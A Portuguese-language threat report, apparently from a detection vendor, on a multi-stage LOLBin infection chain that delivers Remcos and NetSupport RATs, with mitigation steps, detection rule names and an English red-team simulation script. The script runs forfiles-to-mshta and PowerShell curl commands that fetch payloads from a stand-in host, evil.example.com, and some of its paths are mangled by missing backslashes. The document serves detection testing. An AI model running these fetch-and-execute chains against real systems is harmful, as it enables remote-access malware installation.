É Possível Usar Excessivamente LOLBins para Entregar Cargas Úteis de RAT?
Detection stack
- AIDR
- Alert
- ETL
- Query
Resumo
Este relatório descreve uma cadeia de infecção em várias etapas que abusa agressivamente das utilidades integradas ao Windows (LOLBins) para recuperar e executar ferramentas de acesso remoto, incluindo Remcos e NetSupport Manager. O operador encadeia forfiles, mshta, PowerShell, curl, tar, WScript e alterações direcionadas no registro para preparar cargas úteis, estabelecer persistência e reduzir visibilidade. O fluxo de trabalho também aproveita o comportamento de viver da terra para se misturar silenciosamente à atividade administrativa rotineira. Malwarebytes identificou a atividade e bloqueou o endereço IP relacionado. No geral, ele ressalta como o abuso abrangente de LOLBin pode entregar RATs de maneira confiável.
Investigação
Pesquisadores viram pela primeira vez o forfiles.exe gerando mshta, que puxou um HTA malicioso que executou PowerShell para buscar um PDF engodo carregando um arquivo TAR. Após a extração, um glaxnimate.exe trojanizado descartou componentes fragmentados em ProgramData, então reassemblou-os e os lançou usando WScript, scripts em lotes e arquivos de suporte. A persistência foi configurada criando um valor UserInitMprLogonScript sob HKCUEnvironment que referencia um binário cliente malicioso.
Mitigação
Monitorar a execução anômala de LOLBin, particularmente forfiles, mshta, curl, tar, expand, e edições suspeitas no registro dentro de HKCUEnvironment. Aplicar a lista de permissões de aplicativos, habilitar registros abrangentes do PowerShell e impedir a execução de scripts de ProgramData para restringir a preparação. Bloquear HTTP de saída incomum para IPs desconhecidos e aplicar filtragem de URL para interromper tentativas de download iniciais.
Resposta
Quando detectado, isolar o host, capturar telemetria completa da linha de comando e coletar artefatos descartados para análise de hash. Remover a entrada de registro maliciosa e excluir arquivos criados em ProgramData. Executar uma varredura de endpoint com as assinaturas AV atuais e implementar bloqueio a nível de rede para o endereço IP do invasor e quaisquer domínios associados.
graph TB %% Class definitions classDef technique fill:#ffcc99 classDef process fill:#c2f0c2 classDef action fill:#99ccff classDef tool fill:#dddddd classDef malware fill:#ff9999 %% Nodes initial_access[“<b>Técnica</b> – T1218.005: Mshta.exe<br/><b>Descrição</b> Usar forfiles.exe para lançar mshta e baixar HTA”] class initial_access technique process_mshta[“<b>Processo</b>: mshta.exe<br/><b>Ação</b> Executa HTA remoto”] class process_mshta process download_htapayload[“<b>Ação</b> – Baixar HTA<br/><b>Ferramenta</b> mshta”] class download_htapayload action cmd_execution[“<b>Técnica</b> – T1059.003: Windows Command Shell<br/><b>Descrição</b> HTA inicia cmd.exe”] class cmd_execution technique powershell_one_liner[“<b>Técnica</b> – T1059.001: PowerShell<br/><b>Descrição</b> One-liner baixa payload como PDF, extrai com tar, lança glaxnimate.exe”] class powershell_one_liner technique local_staging[“<b>Técnica</b> – T1074.001: Staging Local<br/><b>Descrição</b> Cria arquivos .PART em ProgramData”] class local_staging technique vbscript_execution[“<b>Técnica</b> – T1059.005: Visual Basic<br/><b>Descrição</b> wscript.exe executa processor.vbs que lança cmd oculto para executar patcher.bat”] class vbscript_execution technique archive_extraction[“<b>Técnica</b> – T1560.001: Extração de Arquivos<br/><b>Descrição</b> expand extrai setup.cab contendo NetSupport RAT”] class archive_extraction technique persistence[“<b>Técnica</b> – T1547.014: Chaves de Registro / Pasta Inicialização<br/><b>Descrição</b> HKCU\\Environment\\UserInitMprLogonScript definido para client32.exe”] class persistence technique client32[“<b>Malware</b> client32.exe<br/><b>Propósito</b> Executa ao logon”] class client32 malware glaxnimate[“<b>Malware</b> glaxnimate.exe trojanizado<br/><b>Propósito</b> Executa payload malicioso”] class glaxnimate malware netsupport[“<b>Malware</b> NetSupport RAT<br/><b>Propósito</b> Payload de acesso remoto”] class netsupport malware %% Connections initial_access –>|usa| process_mshta process_mshta –>|baixa| download_htapayload download_htapayload –>|executa| cmd_execution cmd_execution –>|dispara| powershell_one_liner powershell_one_liner –>|estágios de arquivos| local_staging local_staging –>|executa| vbscript_execution vbscript_execution –>|extrai| archive_extraction archive_extraction –>|instala| glaxnimate glaxnimate –>|instala| netsupport netsupport –>|leva a| persistence persistence –>|executa| client32
Fluxo de ataque
Detections
LOLBAS WScript / CScript (via process_creation)
View
Suspicious CURL Usage (via cmdline)
View
Possible Persistence Points [ASEPs – Software/NTUSER Hive] (via cmdline)
View
Suspicious Extracted Files from an Archive (via file_event)
View
LOLBAS ForFiles (via cmdline)
View
Detection of LOLBin Abuse for Remote Access Trojan Deployment [Windows Process Creation]
View
Simulation Execution
Prerequisite: The Telemetry & Baseline Pre‑flight Check must have passed.
Rationale: This section details the precise execution of the adversary technique (TTP) designed to trigger the detection rule. The commands and narrative MUST directly reflect the TTPs identified and aim to generate the exact telemetry expected by the detection logic.
-
Attack Narrative & Commands:
The red‑team operator aims to deploy the Remcos RAT using a chain of LOLBins to avoid downloading an executable directly.- Discovery & Staging: Use
forfiles.exeto locate a target directory and launchmshtawith a malicious URL that hosts an HTA payload. - File‑less PowerShell download: Invoke
powershell.exewith-NoProfile -Command curlto pull a second stage script from a C2 server. - VBScript Execution: Deploy a crafted
processor.vbsviaWScript.exeto write the RAT binary to%ProgramData%. - Batch Dropper: Run a hidden batch file (
patcher.bat) throughcmd.exeinvoked viaIWshShell3.Runto finalize persistence.
Each step generates a distinct process‑creation event that matches one of the Sigma selections, ensuring the rule fires.
- Discovery & Staging: Use
-
Regression Test Script:
The script below reproduces the four selections in a controlled lab. It logs each command to a temporary file for later verification.#------------------------------------------------- # LOLBin Abuse Simulation – triggers Sigma rule #------------------------------------------------- $log = "$env:TEMPlolbin_simulation.log" Clear-Content -Path $log -ErrorAction SilentlyContinue # 1. forfiles.exe -> mshta $cmd1 = 'forfiles /p C:WindowsSystem32 /m *.exe /c "cmd /c mshta https://evil.example.com/payload.hta"' Write-Output "[+] Executing: $cmd1" | Tee-Object -FilePath $log Invoke-Expression $cmd1 # 2. powershell.exe -> curl download $cmd2 = 'powershell.exe -NoProfile -Command "curl https://evil.example.com/stage.ps1 -OutFile $env:TEMPstage.ps1"' Write-Output "[+] Executing: $cmd2" | Tee-Object -FilePath $log Invoke-Expression $cmd2 # 3. wscript.exe -> processor.vbs $vbsPath = "$env:ProgramDataprocessor.vbs" @" Set fso = CreateObject("Scripting.FileSystemObject") fso.CreateTextFile("$env:ProgramDataremcos.exe").Write "malicious" "@ | Set-Content -Path $vbsPath -Encoding ASCII $cmd3 = "C:WindowsSystem32WScript.exe `"$vbsPath`"" Write-Output "[+] Executing: $cmd3" | Tee-Object -FilePath $log Invoke-Expression $cmd3 # 4. IWshShell3.Run -> cmd /c patcher.bat $batPath = "$env:ProgramDatapatcher.bat" "@ echo @echo off > %TEMP%nothing.txt "@ | Set-Content -Path $batPath -Encoding ASCII $cmd4 = "cscript //nologo //e:jscript `"var sh = new ActiveXObject('WScript.Shell'); sh.Run('cmd.exe /c %ProgramData%patcher.bat',0,true);`"" Write-Output "[+] Executing: $cmd4 (via IWshShell3.Run)" | Tee-Object -FilePath $log Invoke-Expression $cmd4 Write-Output "[+] Simulation complete." | Tee-Object -FilePath $log -
Cleanup Commands:
Remove artifacts to restore the host to a clean state.# Cleanup LOLBin simulation artifacts Remove-Item -Path "$env:ProgramDataprocessor.vbs" -ErrorAction SilentlyContinue Remove-Item -Path "$env:ProgramDataremcos.exe" -ErrorAction SilentlyContinue Remove-Item -Path "$env:ProgramDatapatcher.bat" -ErrorAction SilentlyContinue Remove-Item -Path "$env:TEMPstage.ps1" -ErrorAction SilentlyContinue Remove-Item -Path "$env:TEMPlolbin_simulation.log" -ErrorAction SilentlyContinue Write-Output "[+] Cleanup completed."